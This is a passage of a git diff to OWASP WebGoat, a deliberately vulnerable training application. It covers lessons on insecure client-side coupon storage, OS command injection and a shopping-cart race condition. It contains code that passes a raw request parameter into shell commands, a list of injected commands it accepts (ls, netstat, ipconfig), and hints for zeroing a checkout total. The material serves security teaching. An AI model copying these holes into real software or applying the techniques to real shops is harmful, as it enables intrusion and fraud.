Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("70%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("10%")); + tr.addElement(new TH().addElement("Total").setWidth("10%")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter("PRC1", + "$69.99")) + .setSize(10).setReadOnly(true).setStyle("border:0px;")) + .setAlign("right")); + + Input input = new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "0")); + + input.setOnKeyUp("updateTotals();"); + input.setOnLoad("updateTotals();"); + input.setSize(10); - tr.addElement(new TD().addElement(input).setAlign("right")); + tr.addElement(new TD().addElement(input).setAlign("right")); - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter("TOT1", - "$0.00")) - .setSize(10).setReadOnly(true).setStyle("border:0px;")) - .setAlign("right")); + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter("TOT1", + "$0.00")) + .setSize(10).setReadOnly(true).setStyle("border:0px;")) + .setAlign("right")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter("PRC2", - "$27.99")) - .setSize(10).setReadOnly(true).setStyle("border:0px;")) - .setAlign("right")); + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter("PRC2", + "$27.99")) + .setSize(10).setReadOnly(true).setStyle("border:0px;")) + .setAlign("right")); - input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "0")); - - input.setOnKeyUp("updateTotals();"); - input.setSize(10); - tr.addElement(new TD().addElement(input).setAlign("right")); - - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter("TOT2", - "$0.00")) - .setSize(10).setReadOnly(true).setStyle("border:0px;")) - .setAlign("right")); - - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel� Centrino�")); - - tr.addElement(new TD() - .addElement( - new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter("PRC3", "$1599.99")) - .setSize(10).setReadOnly(true).setStyle("border:0px;")).setAlign("right")); - - input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "0")); - - input.setOnKeyUp("updateTotals();"); - input.setSize(10); - tr.addElement(new TD().addElement(input).setAlign("right")); - - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter("TOT3", - "$0.00")) - .setSize(10).setReadOnly(true).setStyle("border:0px;")) - .setAlign("right")); - - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); - - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "PRC4", s.getParser().getStringParameter("PRC4", - "$299.99")) - .setSize(10).setReadOnly(true).setStyle("border:0px;")) - .setAlign("right")); - - input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "0")); - - input.setOnKeyUp("updateTotals();"); - input.setSize(10); - tr.addElement(new TD().addElement(input).setAlign("right")); - - tr.addElement(new TD().addElement( - new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter("TOT4", - "$0.00")) - .setSize(10).setReadOnly(true).setStyle("border:0px;")) - .setAlign("right")); - - t.addElement(tr); - ec.addElement(t); - return ec; - } - - protected Category getDefaultCategory() - { - return Category.AJAX_SECURITY; - } - - /** - * Gets the hints attribute of the AccessControlScreen object - * - * @return The hints value - */ - - public List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add("Use Firebug to examine the JavaScript."); - - hints.add("Using Firebug, you can add breakpoints in the JavaScript."); - - hints.add("Use Firebug to find the array of encrypted coupon codes, and " - + "step through the JavaScript to see the decrypted values."); - - hints.add("You can use Firebug to inspect (and modify) the HTML."); - - hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " - + "'The total charged to your credit card:' and set the value to 0."); - - return hints; - - } - - /** - * Gets the instructions attribute of the WeakAccessControl object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = ""; - - if (getLessonTracker(s).getStage() == 1) - { - instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount."; - } - else if (getLessonTracker(s).getStage() == 2) - { - instructions = "STAGE 2:\tNow, try to get your entire order for free."; - } - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(120); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - public String getTitle() - { - return "Insecure Client Storage"; - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "0")); + + input.setOnKeyUp("updateTotals();"); + input.setSize(10); + tr.addElement(new TD().addElement(input).setAlign("right")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter("TOT2", + "$0.00")) + .setSize(10).setReadOnly(true).setStyle("border:0px;")) + .setAlign("right")); + + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel� Centrino�")); + + tr.addElement(new TD() + .addElement( + new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter("PRC3", "$1599.99")) + .setSize(10).setReadOnly(true).setStyle("border:0px;")).setAlign("right")); + + input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "0")); + + input.setOnKeyUp("updateTotals();"); + input.setSize(10); + tr.addElement(new TD().addElement(input).setAlign("right")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter("TOT3", + "$0.00")) + .setSize(10).setReadOnly(true).setStyle("border:0px;")) + .setAlign("right")); + + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "PRC4", s.getParser().getStringParameter("PRC4", + "$299.99")) + .setSize(10).setReadOnly(true).setStyle("border:0px;")) + .setAlign("right")); + + input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "0")); + + input.setOnKeyUp("updateTotals();"); + input.setSize(10); + tr.addElement(new TD().addElement(input).setAlign("right")); + + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter("TOT4", + "$0.00")) + .setSize(10).setReadOnly(true).setStyle("border:0px;")) + .setAlign("right")); + + t.addElement(tr); + ec.addElement(t); + return ec; + } + + protected Category getDefaultCategory() + { + return Category.AJAX_SECURITY; + } + + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + + public List getHints(WebSession s) + { + List hints = new ArrayList(); + + hints.add("Use Firebug to examine the JavaScript."); + + hints.add("Using Firebug, you can add breakpoints in the JavaScript."); + + hints.add("Use Firebug to find the array of encrypted coupon codes, and " + + "step through the JavaScript to see the decrypted values."); + + hints.add("You can use Firebug to inspect (and modify) the HTML."); + + hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " + + "'The total charged to your credit card:' and set the value to 0."); + + return hints; + + } + + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = ""; + + if (getLessonTracker(s).getStage() == 1) + { + instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount."; + } + else if (getLessonTracker(s).getStage() == 2) + { + instructions = "STAGE 2:\tNow, try to get your entire order for free."; + } + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(120); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() + { + return "Insecure Client Storage"; + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/CommandInjection.java b/src/main/java/org/owasp/webgoat/lessons/CommandInjection.java index 51bbb21b2..8a9ccdf5c 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CommandInjection.java +++ b/src/main/java/org/owasp/webgoat/lessons/CommandInjection.java @@ -51,249 +51,249 @@ import org.owasp.webgoat.util.WebGoatI18N; */ public class CommandInjection extends LessonAdapter { - private final static String HELP_FILE = "HelpFile"; + private final static String HELP_FILE = "HelpFile"; - private String osName = System.getProperty("os.name"); + private String osName = System.getProperty("os.name"); - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); - try - { - String helpFile = s.getParser().getRawParameter(HELP_FILE, "BasicAuthentication.help"); - if (getWebgoatContext().isDefuseOSCommands() - && (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1)) - { - int index = helpFile.indexOf('&'); - if (index == -1) - { - index = helpFile.indexOf(';'); - } - index = index + 1; - int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote - System.out.println(WebGoatI18N.get("Command")+" = [" + helpFile.substring(index, helpFileLen).trim().toLowerCase() + "]"); - if ((osName.indexOf("Windows") != -1 && (helpFile.substring(index, helpFileLen).trim().toLowerCase() - .equals("netstat -a") - || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir") - || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls") - || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig") || helpFile - .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig"))) - || (helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("netstat -a #") - || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir #") - || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls #") - || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls -l #") - || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig #") || helpFile - .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig #"))) - { - illegalCommand = false; - } - else - { - s.setMessage(WebGoatI18N.get("CommandInjectionRightTrack1")); - - } - } + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); + try + { + String helpFile = s.getParser().getRawParameter(HELP_FILE, "BasicAuthentication.help"); + if (getWebgoatContext().isDefuseOSCommands() + && (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1)) + { + int index = helpFile.indexOf('&'); + if (index == -1) + { + index = helpFile.indexOf(';'); + } + index = index + 1; + int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote + System.out.println(WebGoatI18N.get("Command")+" = [" + helpFile.substring(index, helpFileLen).trim().toLowerCase() + "]"); + if ((osName.indexOf("Windows") != -1 && (helpFile.substring(index, helpFileLen).trim().toLowerCase() + .equals("netstat -a") + || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir") + || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls") + || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig") || helpFile + .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig"))) + || (helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("netstat -a #") + || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir #") + || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls #") + || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls -l #") + || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig #") || helpFile + .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig #"))) + { + illegalCommand = false; + } + else + { + s.setMessage(WebGoatI18N.get("CommandInjectionRightTrack1")); + + } + } - if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 && helpFile.indexOf(';') == -1) - { - if (helpFile.length() > 0) - { - if (upDirCount(helpFile) <= 3) - { - // FIXME: This value isn't used. What is the goal here? - s.getContext().getRealPath("/"); - illegalCommand = false; - } - else - { - s.setMessage(WebGoatI18N.get("CommandInjectionRightTrack2")); - } - } - else - { - // No Command entered. - illegalCommand = false; - } - } - File safeDir = new File(s.getContext().getRealPath("/lesson_plans/English")); + if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 && helpFile.indexOf(';') == -1) + { + if (helpFile.length() > 0) + { + if (upDirCount(helpFile) <= 3) + { + // FIXME: This value isn't used. What is the goal here? + s.getContext().getRealPath("/"); + illegalCommand = false; + } + else + { + s.setMessage(WebGoatI18N.get("CommandInjectionRightTrack2")); + } + } + else + { + // No Command entered. + illegalCommand = false; + } + } + File safeDir = new File(s.getContext().getRealPath("/lesson_plans/English")); - ec.addElement(new StringElement(WebGoatI18N.get("YouAreCurrentlyViewing")+"" - + (helpFile.toString().length() == 0 ? "<"+WebGoatI18N.get("SelectFileFromListBelow")+">" : helpFile.toString()) - + "")); + ec.addElement(new StringElement(WebGoatI18N.get("YouAreCurrentlyViewing")+"" + + (helpFile.toString().length() == 0 ? "<"+WebGoatI18N.get("SelectFileFromListBelow")+">" : helpFile.toString()) + + "")); - if (!illegalCommand) - { - String results; - String fileData = null; - helpFile = helpFile.replaceAll("\\.help", "\\.html"); + if (!illegalCommand) + { + String results; + String fileData = null; + helpFile = helpFile.replaceAll("\\.help", "\\.html"); - if (osName.indexOf("Windows") != -1) - { - // Add quotes around the filename to avoid having special characters in DOS - // filenames - results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\""); - fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\""); + if (osName.indexOf("Windows") != -1) + { + // Add quotes around the filename to avoid having special characters in DOS + // filenames + results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\""); + fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\""); - } - else - { - String[] cmd1 = { "/bin/sh", "-c", "ls \"" + safeDir.getPath() + "\"" }; - results = exec(s, cmd1); - String[] cmd2 = { "/bin/sh", "-c", "cat \"" + new File(safeDir, helpFile).getPath() + "\"" }; - fileData = exec(s, cmd2); - } + } + else + { + String[] cmd1 = { "/bin/sh", "-c", "ls \"" + safeDir.getPath() + "\"" }; + results = exec(s, cmd1); + String[] cmd2 = { "/bin/sh", "-c", "cat \"" + new File(safeDir, helpFile).getPath() + "\"" }; + fileData = exec(s, cmd2); + } - ec.addElement(new P().addElement(WebGoatI18N.get("SelectLessonPlanToView"))); - ec.addElement(ECSFactory.makePulldown(HELP_FILE, parseResults(results.replaceAll("(?s)\\.html", - "\\.help")))); - // ec.addElement( results ); - Element b = ECSFactory.makeButton(WebGoatI18N.get("View")); - ec.addElement(b); - // Strip out some of the extra html from the "help" file - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "
") - .replaceAll("(?s)", "").replaceAll("

", "
") - .replaceAll("
\\s
", "
"))); + ec.addElement(new P().addElement(WebGoatI18N.get("SelectLessonPlanToView"))); + ec.addElement(ECSFactory.makePulldown(HELP_FILE, parseResults(results.replaceAll("(?s)\\.html", + "\\.help")))); + // ec.addElement( results ); + Element b = ECSFactory.makeButton(WebGoatI18N.get("View")); + ec.addElement(b); + // Strip out some of the extra html from the "help" file + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "
") + .replaceAll("(?s)", "").replaceAll("

", "
") + .replaceAll("
\\s
", "
"))); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - private String parseResults(String results) - { - results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", ""); - StringTokenizer st = new StringTokenizer(results, "\n"); - StringBuffer modified = new StringBuffer(); + private String parseResults(String results) + { + results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", ""); + StringTokenizer st = new StringTokenizer(results, "\n"); + StringBuffer modified = new StringBuffer(); - while (st.hasMoreTokens()) - { - String s = (String) st.nextToken().trim(); + while (st.hasMoreTokens()) + { + String s = (String) st.nextToken().trim(); - if (s.length() > 0 && s.endsWith(".help")) - { - modified.append(s + "\n"); - } - } + if (s.length() > 0 && s.endsWith(".help")) + { + modified.append(s + "\n"); + } + } - return modified.toString(); - } + return modified.toString(); + } - public static int upDirCount(String fileName) - { - int count = 0; - // check for "." = %2d - // we wouldn't want anyone bypassing the check by useing encoding :) - // FIXME: I don't think hex endoing will work here. - fileName = fileName.replaceAll("%2d", "."); - int startIndex = fileName.indexOf(".."); - while (startIndex != -1) - { - count++; - startIndex = fileName.indexOf("..", startIndex + 1); - } - return count; - } + public static int upDirCount(String fileName) + { + int count = 0; + // check for "." = %2d + // we wouldn't want anyone bypassing the check by useing encoding :) + // FIXME: I don't think hex endoing will work here. + fileName = fileName.replaceAll("%2d", "."); + int startIndex = fileName.indexOf(".."); + while (startIndex != -1) + { + count++; + startIndex = fileName.indexOf("..", startIndex + 1); + } + return count; + } - /** - * Description of the Method - * - * @param command - * Description of the Parameter - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - private String exec(WebSession s, String command) - { - System.out.println("Executing OS command: " + command); - ExecResults er = Exec.execSimple(command); - if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) && !er.getError()) - { - makeSuccess(s); - } + /** + * Description of the Method + * + * @param command + * Description of the Parameter + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + private String exec(WebSession s, String command) + { + System.out.println("Executing OS command: " + command); + ExecResults er = Exec.execSimple(command); + if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) && !er.getError()) + { + makeSuccess(s); + } - return (er.toString()); - } + return (er.toString()); + } - /** - * Description of the Method - * - * @param command - * Description of the Parameter - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - private String exec(WebSession s, String[] command) - { - System.out.println("Executing OS command: " + Arrays.asList(command)); - ExecResults er = Exec.execSimple(command); - // the third argument (index 2) will have the command injection in it - if ((command[2].indexOf("&") != -1 || command[2].indexOf(";") != -1) && !er.getError()) - { - makeSuccess(s); - } + /** + * Description of the Method + * + * @param command + * Description of the Parameter + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + private String exec(WebSession s, String[] command) + { + System.out.println("Executing OS command: " + Arrays.asList(command)); + ExecResults er = Exec.execSimple(command); + // the third argument (index 2) will have the command injection in it + if ((command[2].indexOf("&") != -1 || command[2].indexOf(";") != -1) && !er.getError()) + { + makeSuccess(s); + } - return (er.toString()); - } + return (er.toString()); + } - /** - * Gets the category attribute of the CommandInjection object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.INJECTION; - } + /** + * Gets the category attribute of the CommandInjection object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.INJECTION; + } - /** - * Gets the hints attribute of the DirectoryScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(WebGoatI18N.get("CommandInjectionHint1")); - hints.add(WebGoatI18N.get("CommandInjectionHint2")); - hints.add(WebGoatI18N.get("CommandInjectionHint3")); - hints.add(WebGoatI18N.get("CommandInjectionHint4")); + /** + * Gets the hints attribute of the DirectoryScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add(WebGoatI18N.get("CommandInjectionHint1")); + hints.add(WebGoatI18N.get("CommandInjectionHint2")); + hints.add(WebGoatI18N.get("CommandInjectionHint3")); + hints.add(WebGoatI18N.get("CommandInjectionHint4")); - return hints; - } + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(40); + private final static Integer DEFAULT_RANKING = new Integer(40); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the DirectoryScreen object - * - * @return The title value - */ - public String getTitle() - { - return "Command Injection"; - } + /** + * Gets the title attribute of the DirectoryScreen object + * + * @return The title value + */ + public String getTitle() + { + return "Command Injection"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/ConcurrencyCart.java b/src/main/java/org/owasp/webgoat/lessons/ConcurrencyCart.java index 5b7fbcc78..d1d28379b 100644 --- a/src/main/java/org/owasp/webgoat/lessons/ConcurrencyCart.java +++ b/src/main/java/org/owasp/webgoat/lessons/ConcurrencyCart.java @@ -58,563 +58,563 @@ import org.owasp.webgoat.util.HtmlEncoder; public class ConcurrencyCart extends LessonAdapter { - // Shared Variables - private static int total = 0; - private static float runningTOTAL = 0; - private static int subTOTAL = 0; - private static float calcTOTAL = 0; - private static int quantity1 = 0; - private static int quantity2 = 0; - private static int quantity3 = 0; - private static int quantity4 = 0; - private float ratio = 0; - private int discount = 0; - - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - - protected Element createContent(WebSession s) - { - ElementContainer ec = null; - - try - { - String submit = s.getParser().getStringParameter("SUBMIT"); - - if ("Purchase".equalsIgnoreCase(submit)) - { - updateQuantity(s); - ec = createPurchaseContent(s, quantity1, quantity2, quantity3, quantity4); - } - else if ("Confirm".equalsIgnoreCase(submit)) - { - ec = confirmation(s, quantity1, quantity2, quantity3, quantity4); - - // Discount - - if (calcTOTAL == 0) // No total cost for items - { - discount = 0; // Discount meaningless - } - else - // The expected case -- items cost something - { - ratio = runningTOTAL / calcTOTAL; - } - - if (calcTOTAL > runningTOTAL) - { - // CONGRATS - discount = (int) (100 * (1 - ratio)); - s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount - + "% discount. Police are on the way to your IP address."); - - makeSuccess(s); - } - else if (calcTOTAL < runningTOTAL) - { - // ALMOST - discount = (int) (100 * (ratio - 1)); - s.setMessage("You are on the right track, but you actually overpaid by " + discount - + "%. Try again!"); - } - } - else - { - updateQuantity(s); - ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); - } - - } catch (ParameterNotFoundException pnfe) - { - // System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage"); - ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); - } - - return ec; - } - - // UPDATE QUANTITY VARIABLES - private void updateQuantity(WebSession s) - { - quantity1 = thinkPositive(s.getParser().getIntParameter("QTY1", 0)); - quantity2 = thinkPositive(s.getParser().getIntParameter("QTY2", 0)); - quantity3 = thinkPositive(s.getParser().getIntParameter("QTY3", 0)); - quantity4 = thinkPositive(s.getParser().getIntParameter("QTY4", 0)); - } - - /* - * PURCHASING PAGE - */ - - private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, - int quantity4) - { - - ElementContainer ec = new ElementContainer(); - runningTOTAL = 0; - - String regex1 = "^[0-9]{3}$";// any three digits - Pattern pattern1 = Pattern.compile(regex1); - - try - { - String param1 = s.getParser().getRawParameter("PAC", "111"); - String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("CC", "5321 1337 8888 2007")); - - // test input field1 - if (!pattern1.matcher(param1).matches()) - { - s.setMessage("Error! You entered " + HtmlEncoder.encode(param1) - + " instead of your 3 digit code. Please try again."); - } - - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new Center().addElement(new H1().addElement("Place your order "))); - Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") - .setAlign("center"); - - if (s.isColor()) - { - table.setBorder(1); - } - - // Table Setup - TR tr = new TR(); - tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); - tr.addElement(new TH().addElement("Price").setWidth("10%")); - tr.addElement(new TH().addElement("Quantity").setWidth("3%")); - tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); - table.addElement(tr); - - // Item 1 - tr = new TR(); // Create a new table object - tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); - tr.addElement(new TD().addElement("$169.00").setAlign("right")); - tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center")); - - total = quantity1 * 169; - runningTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); // Adds table to the HTML - - // Item 2 - tr = new TR(); - tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); - tr.addElement(new TD().addElement("$299.00").setAlign("right")); - tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center")); - - total = quantity2 * 299; - runningTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); - - // Item 3 - tr = new TR(); - tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); - tr.addElement(new TD().addElement("$1799.00").setAlign("right")); - tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center")); - - total = quantity3 * 1799; - runningTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); - - // Item 4 - tr = new TR(); - tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); - tr.addElement(new TD().addElement("$649.00").setAlign("right")); - tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center")); - - total = quantity4 * 649; - runningTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); - - ec.addElement(table); - - table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - table.setBorder(1); - } - - ec.addElement(new BR()); - - calcTOTAL = runningTOTAL; - - // Total Charged - tr = new TR(); - tr.addElement(new TD().addElement("Total:")); - tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right")); - table.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - table.addElement(tr); - - // Credit Card Input - tr = new TR(); - tr.addElement(new TD().addElement("Enter your credit card number:")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "CC", param2)).setAlign("right")); - table.addElement(tr); - - // PAC Input - tr = new TR(); - tr.addElement(new TD().addElement("Enter your three digit access code:")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "PAC", param1)).setAlign("right")); - table.addElement(tr); - - // Confirm Button - Element b = ECSFactory.makeButton("Confirm"); - tr = new TR(); - tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); - table.addElement(tr); - - // Cancel Button - Element c = ECSFactory.makeButton("Cancel"); - tr = new TR(); - tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right")); - table.addElement(tr); - - ec.addElement(table); - ec.addElement(new BR()); - - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /* - * CONFIRMATION PAGE - */ - - private ElementContainer confirmation(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) - { - ElementContainer ec = new ElementContainer(); - - final String confNumber = "CONC-88"; - calcTOTAL = 0; - try - { - // Thread.sleep(5000); - - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!"))); - ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber))); - Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%") - .setAlign("center"); - - if (s.isColor()) - { - table.setBorder(1); - } - - // Table Setup - TR tr = new TR(); - tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); - tr.addElement(new TH().addElement("Price").setWidth("10%")); - tr.addElement(new TH().addElement("Quantity").setWidth("3%")); - tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); - table.addElement(tr); - - // Item 1 - tr = new TR(); // Create a new table object - tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); - tr.addElement(new TD().addElement("$169.00").setAlign("right")); - tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center")); - - total = quantity1 * 169; - calcTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); // Adds table to the HTML - - // Item 2 - tr = new TR(); - tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); - tr.addElement(new TD().addElement("$299.00").setAlign("right")); - tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center")); - - total = quantity2 * 299; - calcTOTAL += total; - tr.addElement(new TD().addElement("$" + formatInt(total) + ".00")); - table.addElement(tr); - - // Item 3 - tr = new TR(); - tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); - tr.addElement(new TD().addElement("$1799.00").setAlign("right")); - tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center")); - - total = quantity3 * 1799; - calcTOTAL += total; - tr.addElement(new TD().addElement("$" + 